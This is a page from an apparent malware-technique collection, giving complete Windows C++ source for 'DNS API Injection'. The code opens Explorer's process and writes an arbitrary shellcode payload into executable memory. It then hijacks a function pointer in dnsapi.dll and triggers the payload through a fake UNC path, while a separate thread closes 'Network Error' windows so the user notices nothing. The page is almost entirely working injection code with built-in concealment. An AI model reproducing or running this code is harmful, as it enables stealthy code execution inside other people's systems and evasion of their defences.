Windows C++ / DNS API Injection

Author Glacius
Platform Windows
Language C++
Technique DNS API Injection

Description:

Tested on Windows 10 64-bit.

Code

#include "../ntlib/util.h"

HRESULT GetDesktopShellView(REFIID riid, void **ppv) {
    HWND           hwnd;
    IDispatch      *pdisp;
    IShellWindows  *psw;
    VARIANT        vEmpty = {};
    IShellBrowser  *psb;
    IShellView     *psv;
    HRESULT        hr;
    
    *ppv = NULL;
        
    hr = CoCreateInstance(CLSID_ShellWindows, 
      NULL, CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&psw));
      
    if(hr == S_OK) {
      hr = psw->FindWindowSW(
        &vEmpty, &vEmpty, 
        SWC_DESKTOP, (long*)&hwnd, 
        SWFO_NEEDDISPATCH, &pdisp);
        
      if(hr == S_OK) {
        hr = IUnknown_QueryService(
          pdisp, SID_STopLevelBrowser, IID_PPV_ARGS(&psb));
        if(hr == S_OK) {
          hr = psb->QueryActiveShellView(&psv);
          if(hr == S_OK) {
            hr = psv->QueryInterface(riid, ppv);
            psv->Release();
          }
          psb->Release();
        }
        pdisp->Release();
      }
      psw->Release();
    }
    return hr;
}

HRESULT GetShellDispatch(
  IShellView *psv, REFIID riid, void **ppv) 
{
    IShellFolderViewDual *psfvd;
    IDispatch            *pdispBackground, *pdisp;;
    HRESULT              hr;
    
    *ppv = NULL;
    hr = psv->GetItemObject(
      SVGIO_BACKGROUND, IID_PPV_ARGS(&pdispBackground));
    
    if(hr == S_OK) {
      hr = pdispBackground->QueryInterface(IID_PPV_ARGS(&psfvd));
      if(hr == S_OK) {
        hr = psfvd->get_Application(&pdisp);
        if(hr == S_OK) {
          hr = pdisp->QueryInterface(riid, ppv);
          pdisp->Release();
        }
        psfvd->Release();
      }
      pdispBackground->Release();
    }
    return hr;
}

HRESULT ShellExecInExplorer(PCWSTR pszFile) {
    IShellView      *psv;
    IShellDispatch2 *psd;
    HRESULT         hr;
    BSTR            bstrFile;
    VARIANT         vtHide, vtEmpty = {};
    
    CoInitializeEx(NULL, COINIT_APARTMENTTHREADED | COINIT_DISABLE_OLE1DDE);
    
    bstrFile = SysAllocString(pszFile);
    if(bstrFile == NULL) return E_OUTOFMEMORY;
    
    hr = GetDesktopShellView(IID_PPV_ARGS(&psv));
    if(hr == S_OK) {
      hr = GetShellDispatch(psv, IID_PPV_ARGS(&psd));
      if(hr == S_OK) {
        V_VT(&vtHide)  = VT_INT;
        V_INT(&vtHide) = SW_HIDE;
        hr = psd->ShellExecuteW(
          bstrFile, vtEmpty, vtEmpty, vtEmpty, vtEmpty);
        psd->Release();
      }
      psv->Release();
    }
    SysFreeString(bstrFile);
    return hr;
}

LPVOID GetDnsApiAddr(DWORD pid) {
    LPVOID                m, rm, va = NULL;
    PIMAGE_DOS_HEADER     dos;
    PIMAGE_NT_HEADERS     nt;
    PIMAGE_SECTION_HEADER sh;
    DWORD                 i, cnt, rva=0;
    PULONG_PTR            ds;
    
    // does remote have dnsapi loaded?
    rm  = GetRemoteModuleHandle(pid, L"dnsapi.dll");
    if(rm == NULL) return NULL;
    
    // load local copy
    m   = LoadLibrary(L"dnsapi.dll");
    dos = (PIMAGE_DOS_HEADER)m;  
    nt  = RVA2VA(PIMAGE_NT_HEADERS, m, dos->e_lfanew);  
    sh  = (PIMAGE_SECTION_HEADER)((LPBYTE)&nt->OptionalHeader + 
          nt->FileHeader.SizeOfOptionalHeader);
          
    // locate the .data segment, save VA and number of pointers
    for(i=0; i<nt->FileHeader.NumberOfSections; i++) {
      if(*(PDWORD)sh[i].Name == *(PDWORD)".data") {
        ds  = RVA2VA(PULONG_PTR, m, sh[i].VirtualAddress);
        cnt = sh[i].Misc.VirtualSize / sizeof(ULONG_PTR);
        break;
      }
    }
    // for each pointer
    for(i=0; i<cnt - 1; i++) {
      // if two pointers side by side are not to code, skip it
      if(!IsCodePtr((LPVOID)ds[i  ])) continue;
      if(!IsCodePtr((LPVOID)ds[i+1])) continue;
      // calculate VA in remote process
      va = ((PBYTE)&ds[i] - (PBYTE)m) + (PBYTE)rm;
      break;
    }
    return va;
}

// for any "Network Error", close the window
VOID SuppressErrors(LPVOID lpParameter) {
    HWND hw;
    
    for(;;) {
      hw = FindWindowEx(NULL, NULL, NULL, L"Network Error");
      if(hw != NULL) {
        PostMessage(hw, WM_CLOSE, 0, 0);
      }
    }
}

VOID dns_inject(LPVOID payload, DWORD payloadSize) {
    LPVOID dns, cs, ptr;
    DWORD  pid, cnt, tick, i, t;
    HANDLE hp, ht;
    SIZE_T wr;
    HWND   hw;
    WCHAR  unc[32]={L'\\', L'\\'}; // UNC path to invoke DNS api

    // 1. obtain process id for explorer
    //    and try read address of function pointers
    GetWindowThreadProcessId(GetShellWindow(), &pid); 
    ptr = GetDnsApiAddr(pid);
    
    // 2. create a thread to suppress network errors displayed
    ht = CreateThread(NULL, 0, 
      (LPTHREAD_START_ROUTINE)SuppressErrors, NULL, 0, NULL);
      
    // 3. if dns api not already loaded, try force 
    // explorer to load via fake UNC path
    if(ptr == NULL) {
      tick = GetTickCount();
      for(i=0; i<8; i++) {
        unc[2+i] = (tick % 26) + 'a';
        tick >>= 2;
      }
      ShellExecInExplorer(unc);
      ptr = GetDnsApiAddr(pid);
    }
    
    if(ptr != NULL) {
      // 4. open explorer, backup address of dns function.
      //    allocate RWX memory and write payload
      hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
      ReadProcessMemory(hp, ptr, &dns, sizeof(ULONG_PTR), &wr);
      cs = VirtualAllocEx(hp, NULL, payloadSize, 
        MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
      WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
      
      // 5. overwrite pointer to dns function
      //    generate fake UNC path and trigger execution
      WriteProcessMemory(hp, ptr, &cs, sizeof(ULONG_PTR), &wr);
      tick = GetTickCount();
      for(i=0; i<8; i++) {
        unc[2+i] = (tick % 26) + L'a';
        tick >>= 2;
      }
      ShellExecInExplorer(unc);
      
      // 6. restore dns function, release memory and close process
      WriteProcessMemory(hp, ptr, &dns, sizeof(ULONG_PTR), &wr);
      VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);
      CloseHandle(hp);
    }
    // 7. terminate thread
    TerminateThread(ht, 0);
}

int main(void) {
    LPVOID  pic;
    DWORD   len;
    int     argc;
    wchar_t **argv;
    
    argv = CommandLineToArgvW(GetCommandLineW(), &argc);
    
    if(argc != 2) {
      printf("\nusage: dnsinject <payload.bin>\n");
      return 0;
    }

    len=readpic(argv[1], &pic);
    if (len==0) { printf("\ninvalid payload\n"); return 0;}
    
    dns_inject(pic, len);
    
    return 0;
}

Created

October 26, 2020

Last Revised

April 22, 2024